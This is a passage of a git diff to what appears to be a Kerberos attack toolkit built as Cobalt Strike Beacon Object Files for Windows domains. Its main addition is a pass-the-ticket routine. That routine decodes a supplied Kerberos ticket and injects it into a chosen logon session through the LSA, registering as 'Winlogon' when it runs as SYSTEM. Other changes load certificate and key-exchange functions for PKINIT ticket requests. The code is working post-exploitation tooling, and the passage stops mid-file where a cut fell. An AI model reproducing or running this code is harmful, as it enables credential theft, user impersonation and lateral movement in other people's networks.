+_CryptGetHashParam ADVAPI32$CryptGetHashParam __attribute__((section(".data"))) = 0; +_CryptDestroyHash ADVAPI32$CryptDestroyHash __attribute__((section(".data"))) = 0; +_CryptGetProvParam ADVAPI32$CryptGetProvParam __attribute__((section(".data"))) = 0; +_CryptReleaseContext ADVAPI32$CryptReleaseContext __attribute__((section(".data"))) = 0; pRtlAnsiStringToUnicodeString RtlAnsiStringToUnicodeString __attribute__((section(".data"))) = 0; pRtlInitUnicodeString RtlInitUnicodeString __attribute__((section(".data"))) = 0; @@ -169,10 +212,33 @@ _LsaFreeReturnBuffer SECUR32$LsaFreeReturnBuffer __attribu _LsaCallAuthenticationPackage SECUR32$LsaCallAuthenticationPackage __attribute__((section(".data"))) = 0; _LsaDeregisterLogonProcess SECUR32$LsaDeregisterLogonProcess __attribute__((section(".data"))) = 0; _LsaLookupAuthenticationPackage SECUR32$LsaLookupAuthenticationPackage __attribute__((section(".data"))) = 0; +_LsaLogonUser SECUR32$LsaLogonUser __attribute__((section(".data"))) = 0; _InitializeSecurityContextA SECUR32$InitializeSecurityContextA __attribute__((section(".data"))) = 0; _DeleteSecurityContext SECUR32$DeleteSecurityContext __attribute__((section(".data"))) = 0; _FreeCredentialsHandle SECUR32$FreeCredentialsHandle __attribute__((section(".data"))) = 0; _AcquireCredentialsHandleA SECUR32$AcquireCredentialsHandleA __attribute__((section(".data"))) = 0; +_PFXImportCertStore CRYPT32$PFXImportCertStore __attribute__((section(".data"))) = 0; +_CertEnumCertificatesInStore CRYPT32$CertEnumCertificatesInStore __attribute__((section(".data"))) = 0; +_CertFreeCertificateContext CRYPT32$CertFreeCertificateContext __attribute__((section(".data"))) = 0; +_CertCloseStore CRYPT32$CertCloseStore __attribute__((section(".data"))) = 0; +_CryptAcquireCertificatePrivateKey CRYPT32$CryptAcquireCertificatePrivateKey __attribute__((section(".data"))) = 0; +_CryptMsgOpenToEncode CRYPT32$CryptMsgOpenToEncode __attribute__((section(".data"))) = 0; +_CryptMsgOpenToDecode CRYPT32$CryptMsgOpenToDecode __attribute__((section(".data"))) = 0; +_CryptMsgUpdate CRYPT32$CryptMsgUpdate __attribute__((section(".data"))) = 0; +_CryptMsgGetParam CRYPT32$CryptMsgGetParam __attribute__((section(".data"))) = 0; +_CryptMsgClose CRYPT32$CryptMsgClose __attribute__((section(".data"))) = 0; + +_BCryptOpenAlgorithmProvider BCrypt$OpenAlgorithmProvider __attribute__((section(".data"))) = 0; +_BCryptCloseAlgorithmProvider BCrypt$CloseAlgorithmProvider __attribute__((section(".data"))) = 0; +_BCryptGenerateKeyPair BCrypt$GenerateKeyPair __attribute__((section(".data"))) = 0; +_BCryptSetProperty BCrypt$SetProperty __attribute__((section(".data"))) = 0; +_BCryptFinalizeKeyPair BCrypt$FinalizeKeyPair __attribute__((section(".data"))) = 0; +_BCryptExportKey BCrypt$ExportKey __attribute__((section(".data"))) = 0; +_BCryptImportKeyPair BCrypt$ImportKeyPair __attribute__((section(".data"))) = 0; +_BCryptDestroyKey BCrypt$DestroyKey __attribute__((section(".data"))) = 0; +_BCryptSecretAgreement BCrypt$SecretAgreement __attribute__((section(".data"))) = 0; +_BCryptDeriveKey BCrypt$DeriveKey __attribute__((section(".data"))) = 0; +_BCryptDestroySecret BCrypt$DestroySecret __attribute__((section(".data"))) = 0; LPVOID MemAlloc(SIZE_T dwBytes) { LPVOID mem = KERNEL32$VirtualAlloc(NULL, dwBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); @@ -192,12 +258,14 @@ void FreeBank() { KERNEL32$VirtualFree(MEMORY_BANK, 0, MEM_RELEASE); } +__declspec(noinline) VOID ZeroDword(volatile DWORD* value) { + *value = 0; +} + void SEND_OUT(BOOL done) { if (currentOutSize > 0) { BeaconOutput(CALLBACK_OUTPUT, globalOut, currentOutSize); - - for (int i = 0; i < currentOutSize; i++) - globalOut[i] = 0; + MSVCRT$memset(globalOut, 0, currentOutSize); currentOutSize = 0; } @@ -210,33 +278,47 @@ void SEND_OUT(BOOL done) { int INIT_BOF() { globalOut = KERNEL32$HeapAlloc( KERNEL32$GetProcessHeap(), 0, OutBlockSize ); globalOutSize = OutBlockSize; + currentOutSize = 0; return 1; } void PRINT_OUT(char* format, ...) { va_list args; + va_list args_copy; va_start( args, format ); - int bufSize = MSVCRT$vsnprintf( NULL, 0, format, args ); - va_end(args); + args_copy = args; + int bufSize = MSVCRT$vsnprintf( NULL, 0, format, args_copy ); + va_end(args_copy); if (bufSize == -1) + { + va_end(args); return; + } - if (bufSize + currentOutSize < globalOutSize) { - MSVCRT$vsnprintf(globalOut + currentOutSize, bufSize, format, args); + if ((bufSize + 1 + currentOutSize) <= globalOutSize) { + MSVCRT$vsnprintf(globalOut + currentOutSize, bufSize + 1, format, args); currentOutSize += bufSize; + va_end(args); } else { + va_end(args); SEND_OUT(FALSE); - if (bufSize <= globalOutSize) { - MSVCRT$vsnprintf(globalOut + currentOutSize, bufSize, format, args); + + va_start(args, format); + if ((bufSize + 1) <= globalOutSize) { + MSVCRT$vsnprintf(globalOut + currentOutSize, bufSize + 1, format, args); currentOutSize += bufSize; } else { - char* tmpOut = MemAlloc( bufSize ); - MSVCRT$vsnprintf(tmpOut, bufSize, format, args); + char* tmpOut = MemAlloc(bufSize + 1); + if (!tmpOut) { + va_end(args); + return; + } + MSVCRT$vsnprintf(tmpOut, bufSize + 1, format, args); BeaconOutput(CALLBACK_OUTPUT, tmpOut, bufSize); -// MemFree(tmpOut); } + va_end(args); } } @@ -298,6 +380,15 @@ BOOL LoadFunc() { ADVAPI32$OpenProcessToken = GetProcAddress(advapi, "OpenProcessToken"); if (!ADVAPI32$OpenProcessToken) goto failed; + ADVAPI32$AdjustTokenPrivileges = GetProcAddress(advapi, "AdjustTokenPrivileges"); + if (!ADVAPI32$AdjustTokenPrivileges) goto failed; + + ADVAPI32$LookupPrivilegeValueA = GetProcAddress(advapi, "LookupPrivilegeValueA"); + if (!ADVAPI32$LookupPrivilegeValueA) goto failed; + + ADVAPI32$CryptAcquireContextA = GetProcAddress(advapi, "CryptAcquireContextA"); + if (!ADVAPI32$CryptAcquireContextA) goto failed; + ADVAPI32$AllocateAndInitializeSid = GetProcAddress(advapi, "AllocateAndInitializeSid"); if (!ADVAPI32$AllocateAndInitializeSid) goto failed; @@ -307,6 +398,24 @@ BOOL LoadFunc() { ADVAPI32$FreeSid = GetProcAddress(advapi, "FreeSid"); if (!ADVAPI32$FreeSid) goto failed; + ADVAPI32$CryptCreateHash = GetProcAddress(advapi, "CryptCreateHash"); + if (!ADVAPI32$CryptCreateHash) goto failed; + + ADVAPI32$CryptHashData = GetProcAddress(advapi, "CryptHashData"); + if (!ADVAPI32$CryptHashData) goto failed; + + ADVAPI32$CryptGetHashParam = GetProcAddress(advapi, "CryptGetHashParam"); + if (!ADVAPI32$CryptGetHashParam) goto failed; + + ADVAPI32$CryptDestroyHash = GetProcAddress(advapi, "CryptDestroyHash"); + if (!ADVAPI32$CryptDestroyHash) goto failed; + + ADVAPI32$CryptGetProvParam = GetProcAddress(advapi, "CryptGetProvParam"); + if (!ADVAPI32$CryptGetProvParam) goto failed; + + ADVAPI32$CryptReleaseContext = GetProcAddress(advapi, "CryptReleaseContext"); + if (!ADVAPI32$CryptReleaseContext) goto failed; + HMODULE secur32 = GetModuleHandleA("SECUR32"); if (!secur32) secur32 = LoadLibraryA("SECUR32"); @@ -339,6 +448,9 @@ BOOL LoadFunc() { SECUR32$LsaLookupAuthenticationPackage = GetProcAddress(secur32, "LsaLookupAuthenticationPackage"); if (!SECUR32$LsaLookupAuthenticationPackage) goto failed; + SECUR32$LsaLogonUser = GetProcAddress(secur32, "LsaLogonUser"); + if (!SECUR32$LsaLogonUser) goto failed; + SECUR32$InitializeSecurityContextA = GetProcAddress(secur32, "InitializeSecurityContextA"); if (!SECUR32$InitializeSecurityContextA) goto failed; @@ -351,8 +463,87 @@ BOOL LoadFunc() { SECUR32$AcquireCredentialsHandleA = GetProcAddress(secur32, "AcquireCredentialsHandleA"); if ( !SECUR32$AcquireCredentialsHandleA) goto failed; + HMODULE crypt32 = GetModuleHandleA("CRYPT32"); + if (!crypt32) + crypt32 = LoadLibraryA("CRYPT32"); + if (!crypt32) { + PRINT_OUT("[x] Failed to load CRYPT32 module\n"); + goto failed; + } + + CRYPT32$PFXImportCertStore = GetProcAddress(crypt32, "PFXImportCertStore"); + if (!CRYPT32$PFXImportCertStore) goto failed; + + CRYPT32$CertEnumCertificatesInStore = GetProcAddress(crypt32, "CertEnumCertificatesInStore"); + if (!CRYPT32$CertEnumCertificatesInStore) goto failed; + + CRYPT32$CertFreeCertificateContext = GetProcAddress(crypt32, "CertFreeCertificateContext"); + if (!CRYPT32$CertFreeCertificateContext) goto failed; + + CRYPT32$CertCloseStore = GetProcAddress(crypt32, "CertCloseStore"); + if (!CRYPT32$CertCloseStore) goto failed; + + CRYPT32$CryptAcquireCertificatePrivateKey = GetProcAddress(crypt32, "CryptAcquireCertificatePrivateKey"); + if (!CRYPT32$CryptAcquireCertificatePrivateKey) goto failed; + + CRYPT32$CryptMsgOpenToEncode = GetProcAddress(crypt32, "CryptMsgOpenToEncode"); + if (!CRYPT32$CryptMsgOpenToEncode) goto failed; + + CRYPT32$CryptMsgOpenToDecode = GetProcAddress(crypt32, "CryptMsgOpenToDecode"); + if (!CRYPT32$CryptMsgOpenToDecode) goto failed; + + CRYPT32$CryptMsgUpdate = GetProcAddress(crypt32, "CryptMsgUpdate"); + if (!CRYPT32$CryptMsgUpdate) goto failed; + + CRYPT32$CryptMsgGetParam = GetProcAddress(crypt32, "CryptMsgGetParam"); + if (!CRYPT32$CryptMsgGetParam) goto failed; + + CRYPT32$CryptMsgClose = GetProcAddress(crypt32, "CryptMsgClose"); + if (!CRYPT32$CryptMsgClose) goto failed; + + HMODULE bcrypt = GetModuleHandleA("BCRYPT"); + if (!bcrypt) + bcrypt = LoadLibraryA("BCRYPT"); + if (!bcrypt) { + PRINT_OUT("[x] Failed to load BCRYPT module\n"); + goto failed; + } + + BCrypt$OpenAlgorithmProvider = GetProcAddress(bcrypt, "BCryptOpenAlgorithmProvider"); + if (!BCrypt$OpenAlgorithmProvider) goto failed; + + BCrypt$CloseAlgorithmProvider = GetProcAddress(bcrypt, "BCryptCloseAlgorithmProvider"); + if (!BCrypt$CloseAlgorithmProvider) goto failed; + + BCrypt$GenerateKeyPair = GetProcAddress(bcrypt, "BCryptGenerateKeyPair"); + if (!BCrypt$GenerateKeyPair) goto failed; + + BCrypt$SetProperty = GetProcAddress(bcrypt, "BCryptSetProperty"); + if (!BCrypt$SetProperty) goto failed; + + BCrypt$FinalizeKeyPair = GetProcAddress(bcrypt, "BCryptFinalizeKeyPair"); + if (!BCrypt$FinalizeKeyPair) goto failed; + + BCrypt$ExportKey = GetProcAddress(bcrypt, "BCryptExportKey"); + if (!BCrypt$ExportKey) goto failed; + + BCrypt$ImportKeyPair = GetProcAddress(bcrypt, "BCryptImportKeyPair"); + if (!BCrypt$ImportKeyPair) goto failed; + + BCrypt$DestroyKey = GetProcAddress(bcrypt, "BCryptDestroyKey"); + if (!BCrypt$DestroyKey) goto failed; + + BCrypt$SecretAgreement = GetProcAddress(bcrypt, "BCryptSecretAgreement"); + if (!BCrypt$SecretAgreement) goto failed; + + BCrypt$DeriveKey = GetProcAddress(bcrypt, "BCryptDeriveKey"); + if (!BCrypt$DeriveKey) goto failed; + + BCrypt$DestroySecret = GetProcAddress(bcrypt, "BCryptDestroySecret"); + if (!BCrypt$DestroySecret) goto failed; + MEMORY_BANK = KERNEL32$VirtualAlloc(NULL, sizeof(void*) * 0x1000, MEM_COMMIT, PAGE_READWRITE); - BANK_COUNT = 0; + ZeroDword(&BANK_COUNT); return FALSE; diff --git a/_include/kerb_struct.h b/_include/kerb_struct.h index 14cfee4..7faf4c7 100755 --- a/_include/kerb_struct.h +++ b/_include/kerb_struct.h @@ -205,6 +205,7 @@ enum ASN_TYPES { ASN_INTEGER = 2, ASN_BIT_STRING = 3, ASN_OCTET_STRING = 4, + ASN_OBJECT_IDENTIFIER = 6, ASN_UTF8String = 12, ASN_SEQUENCE = 16, ASN_NumericString = 18, @@ -260,83 +261,55 @@ enum PacInfoBufferType { byte* lookupKadminErrorCode(uint errorCode) { - if ( errorCode > 7) - return "unknown"; - - byte* KERBEROS_ERROR[8] = { - "KRB5_KPASSWD_SUCCESS", - "KRB5_KPASSWD_MALFORMED", - "KRB5_KPASSWD_HARDERROR", - "KRB5_KPASSWD_AUTHERROR", - "KRB5_KPASSWD_SOFTERROR", - "KRB5_KPASSWD_ACCESSDENIED", - "KRB5_KPASSWD_BAD_VERSION", - "KRB5_KPASSWD_INITIAL_FLAG_NEEDED" - }; - return KERBEROS_ERROR[errorCode]; + if (errorCode == 0) return "KRB5_KPASSWD_SUCCESS"; + if (errorCode == 1) return "KRB5_KPASSWD_MALFORMED"; + if (errorCode == 2) return "KRB5_KPASSWD_HARDERROR"; + if (errorCode == 3) return "KRB5_KPASSWD_AUTHERROR"; + if (errorCode == 4) return "KRB5_KPASSWD_SOFTERROR"; + if (errorCode == 5) return "KRB5_KPASSWD_ACCESSDENIED"; + if (errorCode == 6) return "KRB5_KPASSWD_BAD_VERSION"; + if (errorCode == 7) return "KRB5_KPASSWD_INITIAL_FLAG_NEEDED"; + return "unknown"; } -/* + byte* lookupKrbErrorCode(uint errorCode) { - if ( errorCode > 0x5d) - return ""; - - byte* KERBEROS_ERROR[0x5E] = { - "KDC_ERR_NONE (0x0) - No error", - "KDC_ERR_NAME_EXP (0x1) - Client's entry in KDC database has expired", - "KDC_ERR_SERVICE_EXP (0x2) - Server's entry in KDC database has expired", - "KDC_ERR_BAD_PVNO (0x3) - Requested Kerberos version number not supported", - "KDC_ERR_C_OLD_MAST_KVNO (0x4) - Client's key encrypted in old master key", - "KDC_ERR_S_OLD_MAST_KVNO (0x5) - Server's key encrypted in old master key", - "KDC_ERR_C_PRINCIPAL_UNKNOWN (0x6) - Client not found in Kerberos database", - "KDC_ERR_S_PRINCIPAL_UNKNOWN (0x7) - Server not found in Kerberos database", - "KDC_ERR_PRINCIPAL_NOT_UNIQUE (0x8) - Multiple principal entries in KDC database", - "KDC_ERR_NULL_KEY (0x9) - The client or server has a null key (master key)", - "KDC_ERR_CANNOT_POSTDATE (0xA) - Ticket (TGT) not eligible for postdating", - "KDC_ERR_NEVER_VALID (0xB) - Requested start time is later than end time", - "KDC_ERR_POLICY (0xC) - Requested start time is later than end time", - "KDC_ERR_BADOPTION (0xD) - KDC cannot accommodate requested option", - "KDC_ERR_ETYPE_NOTSUPP (0xE) - KDC has no support for encryption type", - "KDC_ERR_SUMTYPE_NOSUPP (0xF) - KDC has no support for checksum type", - "KDC_ERR_PADATA_TYPE_NOSUPP (0x10) - KDC has no support for PADATA type (pre-authentication data)", - "KDC_ERR_TRTYPE_NO_SUPP (0x11) - KDC has no support for transited type", - "KDC_ERR_CLIENT_REVOKED (0x12) - Client's credentials have been revoked", - "KDC_ERR_SERVICE_REVOKED (0x13) -Credentials for server have been revoked", - "KDC_ERR_TGT_REVOKED (0x14) - TGT has been revoked", - "KDC_ERR_CLIENT_NOTYET (0x15) - Client not yet valid�try again later", - "KDC_ERR_SERVICE_NOTYET (0x16) -Server not yet valid�try again later", - "KDC_ERR_KEY_EXPIRED (0x17) - Password has expired�change password to reset", - "KDC_ERR_PREAUTH_FAILED (0x18) - Pre-authentication information was invalid", - "KDC_ERR_PREAUTH_REQUIRED (0x19) - Additional preauthentication required", - "KDC_ERR_SERVER_NOMATCH (0x1A) - KDC does not know about the requested server", - "KDC_ERR_MUST_USE_USER2USER (0x1B) - Server principal valid for user2user only", - "KDC_ERR_PATH_NOT_ACCEPTED (0x1C) - KDC Policy rejects transited path", - "KDC_ERR_SVC_UNAVAILABLE (0x1D) - KDC is unavailable", - "KRB_UNKNOWN (0x1E) - Code unknown", - "KRB_AP_ERR_BAD_INTEGRITY (0x1F) - Integrity check on decrypted field failed", - "KRB_AP_ERR_TKT_EXPIRED (0x20) - The ticket has expired", - "KRB_AP_ERR_TKT_NYV (0x21) - The ticket is not yet valid", - "KRB_AP_ERR_REPEAT (0x22) - The request is a replay", - "KRB_AP_ERR_NOT_US (0x23) - The ticket is not for us", - "KRB_AP_ERR_BADMATCH (0x24) -The ticket and authenticator do not match", - "KRB_AP_ERR_SKEW (0x25) - The clock skew is too great", - "KRB_AP_ERR_BADADDR (0x26) - Network address in network layer header doesn't match address inside ticket", - "KRB_AP_ERR_BADVERSION (0x27) - Protocol version numbers don't match (PVNO)", - "KRB_AP_ERR_MSG_TYPE (0x28) - Message type is unsupported", - "KRB_AP_ERR_MODIFIED (0x29) - Message stream modified and checksum didn't match", - "KRB_AP_ERR_BADORDER (0x2A) - Message out of order (possible tampering)", - "KRB_UNKNOWN (0x2B) - Code unknown", - "KRB_AP_ERR_BADKEYVER (0x2C) - Specified version of key is not available", - "KRB_AP_ERR_NOKEY (0x2D) - Service key not available", - "KRB_AP_ERR_MUT_FAIL (0x2E) - Mutual authentication failed", - "KRB_AP_ERR_BADDIRECTION (0x2F) - Incorrect message direction", - "KRB_AP_ERR_METHOD (0x30) - Alternative authentication method required", - "KRB_AP_ERR_BADSEQ (0x31) - Incorrect sequence number in message", - "KRB_AP_ERR_INAPP_CKSUM (0x32) - Inappropriate type of checksum in message (checksum may be unsupported)", - "KRB_AP_PATH_NOT_ACCEPTED (0x33) - Desired path is unreachable", - "KRB_ERR_RESPONSE_TOO_BIG (0x34) - Too much data", - "KRB_UNKNOWN (0x15) - Code unknown", - "KRB_UNKNOWN (0x16) - Code unknown", - "KRB_UNKNOWN (0x17) - Code unknown", + if (errorCode == 0x0) return "KDC_ERR_NONE (0x0) - No error"; + if (errorCode == 0x6) return "KDC_ERR_C_PRINCIPAL_UNKNOWN (0x6) - Client not found in Kerberos database"; + if (errorCode == 0x7) return "KDC_ERR_S_PRINCIPAL_UNKNOWN (0x7) - Server not found in Kerberos database"; + if (errorCode == 0xE) return "KDC_ERR_ETYPE_NOTSUPP (0xE) - KDC has no support for encryption type"; + if (errorCode == 0x18) return "KDC_ERR_PREAUTH_FAILED (0x18) - Pre-authentication information was invalid"; + if (errorCode == 0x19) return "KDC_ERR_PREAUTH_REQUIRED (0x19) - Additional pre-authentication required"; + if (errorCode == 0x1D) return "KDC_ERR_SVC_UNAVAILABLE (0x1D) - KDC is unavailable"; + if (errorCode == 0x1F) return "KRB_AP_ERR_BAD_INTEGRITY (0x1F) - Integrity check on decrypted field failed"; + if (errorCode == 0x20) return "KRB_AP_ERR_TKT_EXPIRED (0x20) - The ticket has expired"; + if (errorCode == 0x24) return "KRB_AP_ERR_BADMATCH (0x24) - The ticket and authenticator do not match"; + if (errorCode == 0x25) return "KRB_AP_ERR_SKEW (0x25) - The clock skew is too great"; + if (errorCode == 0x29) return "KRB_AP_ERR_MODIFIED (0x29) - Message stream modified and checksum did not match"; + if (errorCode == 0x3C) return "KRB_ERR_GENERIC (0x3C) - Generic error; the description is in the e-data field"; + if (errorCode == 0x3E) return "KDC_ERR_CLIENT_NOT_TRUSTED (0x3E) - The client trust failed or is not implemented"; + if (errorCode == 0x3F) return "KDC_ERR_KDC_NOT_TRUSTED (0x3F) - The KDC server trust failed or could not be verified"; + if (errorCode == 0x40) return "KDC_ERR_INVALID_SIG (0x40) - The signature is invalid"; + if (errorCode == 0x41) return "KDC_ERR_DH_KEY_PARAMETERS_NOT_ACCEPTED (0x41) - Diffie-Hellman parameters were rejected"; + if (errorCode == 0x42) return "KDC_ERR_CERTIFICATE_MISMATCH (0x42) - Certificate does not match the client account"; + if (errorCode == 0x44) return "KDC_ERR_WRONG_REALM (0x44) - Incorrect domain or principal"; + if (errorCode == 0x46) return "KDC_ERR_CANT_VERIFY_CERTIFICATE (0x46)"; + if (errorCode == 0x47) return "KDC_ERR_INVALID_CERTIFICATE (0x47)"; + if (errorCode == 0x48) return "KDC_ERR_REVOKED_CERTIFICATE (0x48)"; + if (errorCode == 0x49) return "KDC_ERR_REVOCATION_STATUS_UNKNOWN (0x49)"; + if (errorCode == 0x4B) return "KDC_ERR_CLIENT_NAME_MISMATCH (0x4B)"; + if (errorCode == 0x4C) return "KDC_ERR_KDC_NAME_MISMATCH (0x4C)"; + if (errorCode == 0x4D) return "KDC_ERR_INCONSISTENT_KEY_PURPOSE (0x4D) - Client certificate EKU is not acceptable"; + if (errorCode == 0x4E) return "KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED (0x4E) - CA certificate signature algorithm is not accepted"; + if (errorCode == 0x4F) return "KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED (0x4F) - paChecksum is required"; + if (errorCode == 0x50) return "KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED (0x50) - SignedData digest is not accepted"; + if (errorCode == 0x51) return "KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED (0x51) - PKINIT public key encryption is not supported"; + if (errorCode == 0x5A) return "KDC_ERR_PREAUTH_EXPIRED (0x5A) - The provided pre-authentication data has expired"; + if (errorCode == 0x5B) return "KDC_ERR_MORE_PREAUTH_DATA_REQUIRED (0x5B) - Additional pre-authentication data is required"; + if (errorCode == 0x5C) return "KDC_ERR_PREAUTH_BAD_AUTHENTICATION_SET (0x5C) - Unexpected authentication set"; + if (errorCode == 0x5D) return "KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTIONS (0x5D) - Unknown critical FAST options"; + return "KRB_ERR_UNKNOWN"; +} +/* "KRB_UNKNOWN (0x18) - Code unknown", "KRB_UNKNOWN (0x19) - Code unknown", "KRB_UNKNOWN (0x1A) - Code unknown", @@ -517,6 +490,11 @@ typedef struct _PA_PAC_OPTIONS { byte kerberosFlags[4]; } PA_PAC_OPTIONS; +typedef struct _RAW_DATA { + int size; + byte* data; +} RAW_DATA; + typedef struct _PA_DATA { uint type; void* value; diff --git a/_include/ticket_submit.c b/_include/ticket_submit.c new file mode 100644 index 0000000..d44fc64 --- /dev/null +++ b/_include/ticket_submit.c @@ -0,0 +1,177 @@ +#pragma once + +#include "crypt_b64.c" + +HANDLE GetCurrentToken(DWORD DesiredAccess) { + HANDLE hCurrentToken = NULL; + if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), DesiredAccess, FALSE, &hCurrentToken)) + if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN) + if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), DesiredAccess, &hCurrentToken)) + return NULL; + return hCurrentToken; +} + +LUID GetCurrentLUID(HANDLE TokenHandle) { + TOKEN_STATISTICS tokenStats; + DWORD tokenSize; + if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize)) + return (LUID) { 0 }; + return tokenStats.AuthenticationId; +} + +BOOL IsSystem(HANDLE TokenHandle) { + UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES]; + PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser; + ULONG cbTokenUser; + SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY; + PSID pSystemSid = NULL; + BOOL bSystem = FALSE; + + // Try to open the token of the current thread first + if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_QUERY, TRUE, &TokenHandle)) { + // If there is no thread token, fall back to the process token + if (KERNEL32$GetLastError() == ERROR_NO_TOKEN) { + if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &TokenHandle)) { + return FALSE; + } + } else { + return FALSE; + } + } + + if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) { + return FALSE; + } + + if (!ADVAPI32$AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid)) { + return FALSE; + } + + bSystem = ADVAPI32$EqualSid(pTokenUser->User.Sid, pSystemSid); + + ADVAPI32$FreeSid(pSystemSid); + + return bSystem; +} + +BOOL GetLsaHandle(HANDLE hToken, BOOL highIntegrity, HANDLE* hLsa) { + HANDLE hLsaLocal = NULL; + ULONG mode = 0; + bool status = true; + if (highIntegrity) { + STRING lsaString = (STRING){ .Length = 8, .MaximumLength = 9, .Buffer = "Winlogon" }; + status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode); + } + else { + status = SECUR32$LsaConnectUntrusted(&hLsaLocal); + } + *hLsa = hLsaLocal; + return status; +} + +int my_isdigit(int c) { + return (c >= '0' && c <= '9'); +} + +int my_islower(int c) { + return (c >= 'a' && c <= 'z'); +} + +long int my_strtol(const char* str, char** endptr, int base) { + long int result = 0; + int sign = 1; + + if (*str == '-' || *str == '+') { + sign = (*str == '-') ? -1 : 1; + str++; + } + + while (my_isdigit(*str) || + (base == 16 && (*str >= 'a' && *str <= 'f')) || + (base == 16 && (*str >= 'A' && *str <= 'F'))) { + int digit = 0; + if (my_isdigit(*str)) { + digit = *str - '0'; + } + else if (base == 16) { + digit = (my_islower(*str) ? (*str - 'a' + 10) : (*str - 'A' + 10)); + } + + if (digit >= base) + break; + + if (result > (LONG_MAX - digit) / base) { + if (sign == 1) + return LONG_MAX; + else + return LONG_MIN; + } + + result = result * base + digit; + str++; + } + + if (endptr != NULL) + *endptr = (char*)str; + + return result * sign; +} + +void PTT(char* luid, byte* ticket) { + HANDLE hToken = GetCurrentToken(TOKEN_QUERY); + LUID currentLuid = GetCurrentLUID(hToken); + LUID targetLuid = { 0 }; + bool IsHighIntegrity = IsSystem(hToken); + + if (luid) { + targetLuid.LowPart = my_strtol(luid, NULL, 16); + if (targetLuid.LowPart == 0 || targetLuid.LowPart == LONG_MAX || targetLuid.LowPart == LONG_MIN) { + PRINT_OUT("[x] Invalid luid\n"); + return; + } + } + else { + targetLuid = currentLuid; + } + + if (!IsHighIntegrity && currentLuid.LowPart != targetLuid.LowPart) { + PRINT_OUT("[X] You need to be in SYSTEM integrity.\n"); + return; + } + + if (currentLuid.LowPart != targetLuid.LowPart) + IsHighIntegrity = false; + + HANDLE hLsa; + if (GetLsaHandle(hToken, IsHighIntegrity, &hLsa)) return; + + ULONG authPackage; + LSA_STRING krbAuth = { .Buffer = "kerberos",.Length = 8,.MaximumLength = 9 }; + if (SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage) == 0) { + + int decode_ticket_size = 0; + byte* decode_ticket = base64_decode(ticket, &decode_ticket_size); + + int submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + decode_ticket_size; + KERB_SUBMIT_TKT_REQUEST* submitRequest = MemAlloc(submitSize); + + submitRequest->MessageType = KerbSubmitTicketMessage; + submitRequest->KerbCredSize = decode_ticket_size; + submitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST); + if (IsHighIntegrity) + submitRequest->LogonId = targetLuid; + else + submitRequest->LogonId = (LUID){ 0 }; + + MemCpy((PBYTE)submitRequest + submitRequest->KerbCredOffset, decode_ticket, decode_ticket_size); + + NTSTATUS protocolStatus = 0; + ULONG responseSize = 0; + void* response = 0; + if (SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus) || protocolStatus) + PRINT_OUT("\n[X] Ticket not imported.\n"); + else + PRINT_OUT("\n[+] Ticket successfully imported.\n"); + } + SECUR32$LsaDeregisterLogonProcess(hLsa); +} diff --git a/_include/wincompat.h b/_include/wincompat.h new file mode 100644 index 0000000..dd626f7 --- /dev/null +++ b/_include/wincompat.h @@ -0,0 +1,528 @@ +#ifndef WINCOMPAT_H +#define WINCOMPAT_H + +#ifndef DECLSPEC_IMPORT +#define DECLSPEC_IMPORT __declspec(dllimport) +#endif + +#ifndef __attribute__ +#define __attribute__(x) +#endif + +#ifndef __restrict +#define __restrict +#endif + +#ifndef _WCHAR_T_DEFINED +typedef unsigned short wchar_t; +#define _WCHAR_T_DEFINED +#endif + +#define WINAPI __stdcall +#define WINAPIV __cdecl +#define WSAAPI __stdcall +#define NTAPI __stdcall + +#define WINBASEAPI DECLSPEC_IMPORT +#define WINADVAPI DECLSPEC_IMPORT + +#define CONST const + +#define _In_ +#define _Out_ +#define _In_opt_ +#define _Out_opt_ +#define _Out_writes_bytes_(x) +#define IN +#define OUT + +typedef void VOID; +typedef int BOOL; +typedef unsigned char BOOLEAN; +typedef char CHAR; +typedef short SHORT; +typedef unsigned char BYTE; +typedef unsigned char UCHAR; +typedef unsigned short WORD; +typedef unsigned int UINT; +typedef int INT; +typedef long LONG; +typedef unsigned long DWORD; +typedef unsigned long ULONG; +typedef long long LONGLONG; +typedef unsigned long long ULONGLONG; +typedef unsigned long long ULONG_PTR; +typedef long long LONG_PTR; +typedef unsigned long long ULONG64; +#if defined(__GNUC__) +typedef unsigned long long DWORD64; +#else +typedef unsigned __int64 DWORD64; +#endif +typedef long NTSTATUS; +typedef long SECURITY_STATUS; +typedef ULONG_PTR SIZE_T; +typedef ULONG_PTR DWORD_PTR; +typedef ULONG_PTR UINT_PTR; +typedef void *PVOID; +typedef void *LPVOID; +typedef const void *LPCVOID; +typedef char *PCHAR; +typedef char *LPSTR; +typedef const char *LPCSTR; +typedef const char *LPCCH; +typedef wchar_t WCHAR; +typedef WCHAR *PWCHAR; +typedef WCHAR *PWSTR; +typedef WCHAR *LPWSTR; +typedef const WCHAR *LPCWSTR; +typedef const WCHAR *PCWSTR; +typedef const WCHAR *LPCWCH; +typedef BOOL *LPBOOL; +typedef BYTE 